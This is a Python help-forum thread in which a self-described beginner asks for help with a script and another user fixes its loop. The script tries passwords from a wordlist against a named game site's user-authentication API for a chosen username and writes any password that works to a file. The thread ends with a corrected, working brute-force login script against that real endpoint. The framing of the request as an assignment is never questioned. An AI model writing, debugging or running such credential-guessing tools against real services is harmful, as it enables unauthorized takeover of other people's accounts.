Python Forum

Full Version: Assistance with pythons random.choice
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
So, I have an assigment which wants ask me to check if a given password matches a username

This is the code below, the issue i'm having is, my terminal is printing out passwords multiple times, but i only want it to print out one password each time, so it'll go ex: 123, test, 1234. etc.

Any help is appreciated, thank you!

import random
import time
import threading
import requests
from xml.dom import minidom

# http://api.example.com/?method=xgen.users.add&username={}&password={}
some = 0
Username = input("Username to test: ")
while some == 0:
    lines = open('passlist.txt').read().splitlines()
    Password = random.choice(lines)
    
    APIData = {'username': Username, 'password': Password}
    URLData = requests.get('http://api.example.com/?method=xgen.users.authenticate', params=APIData).text
    Response = minidom.parseString (URLData) .getElementsByTagName ('rsp') [0] .attributes['stat'] .value
    print ("Checking password; " + Password)
    if Response == 'ok':
        print ("Found correct password: " + Password)
        data = open (Username + ".txt", "a")
        data.write ("Found correct password for " + Username + ": " + Password)
        data.close()
        some = 1
        time.sleep(5)
If you want to go through the list in random order without duplication, use a for loop and random.shuffle:

lines = open('passlines.txt').read().splitlines()
random.shuffle(lines)
for Password in lines:
    # send the request
    if Response == 'ok':
        # handle the response
        break
(Nov-18-2019, 01:41 PM)ichabod801 Wrote: [ -> ]If you want to go through the list in random order without duplication, use a for loop and random.shuffle:

lines = open('passlines.txt').read().splitlines()
random.shuffle(lines)
for Password in lines:
    # send the request
    if Response == 'ok':
        # handle the response
        break

I tried what you suggested, and now I get "Traceback (most recent call last):
File "C:\Users\king\Desktop\test.py", line 14, in <module>
APIData = {'username': Username, 'password': Password}
NameError: name 'Password' is not defined"

import random
import time
import threading
import requests
from xml.dom import minidom

# http://api.xgenstudios.com/?method=xgen.users.add&username={}&password={}
some = 0
Username = input("Username to test: ")
while some == 0:
    lines = open('passlist.txt').read().splitlines()
    random.shuffle(lines)
    
    APIData = {'username': Username, 'password': Password}
    URLData = requests.get('http://api.xgenstudios.com/?method=xgen.users.authenticate', params=APIData).text
    Response = minidom.parseString (URLData) .getElementsByTagName ('rsp') [0] .attributes['stat'] .value
    print ("Checking password; " + Password)
    for Password in lines:
        # send the request
        if Response == 'ok':
        # handle the response
            break
        print ("Found correct password: " + Password)
        data = open (Username + ".txt", "a")
        data.write ("Found correct password for " + Username + ": " + Password)
        data.close()
        some = 1
        time.sleep(5)
Get rid of the while loop, the idea was to replace the while loop with the for loop. The error you are getting is because you didn't move the code for sending the request (lines 14-17) to where I put the comment 'send the request' (line 19). So get rid of the while loop, move those lines into the for loop, and change some = 1 to break.
(Nov-18-2019, 05:45 PM)ichabod801 Wrote: [ -> ]Get rid of the while loop, the idea was to replace the while loop with the for loop. The error you are getting is because you didn't move the code for sending the request (lines 14-17) to where I put the comment 'send the request' (line 19). So get rid of the while loop, move those lines into the for loop, and change some = 1 to break.

Don't mean to sound dumb, this is my first project written in Python. Could you be a bit more specific, please?
I don't really understand.

Thank you.
import random
import time
import threading
import requests
from xml.dom import minidom
 
# http://api.xgenstudios.com/?method=xgen.users.add&username={}&password={}
some = 0
Username = input("Username to test: ")
lines = open('passlist.txt').read().splitlines()
random.shuffle(lines)
 
for Password in lines:
    # send the request
    APIData = {'username': Username, 'password': Password}
    URLData = requests.get('http://api.xgenstudios.com/?method=xgen.users.authenticate', params=APIData).text
    Response = minidom.parseString (URLData) .getElementsByTagName ('rsp') [0] .attributes['stat'] .value
    print ("Checking password; " + Password)
    if Response == 'ok':
        # handle the response
        print ("Found correct password: " + Password)
        data = open (Username + ".txt", "a")
        data.write ("Found correct password for " + Username + ": " + Password)
        data.close()
        break
    time.sleep(5)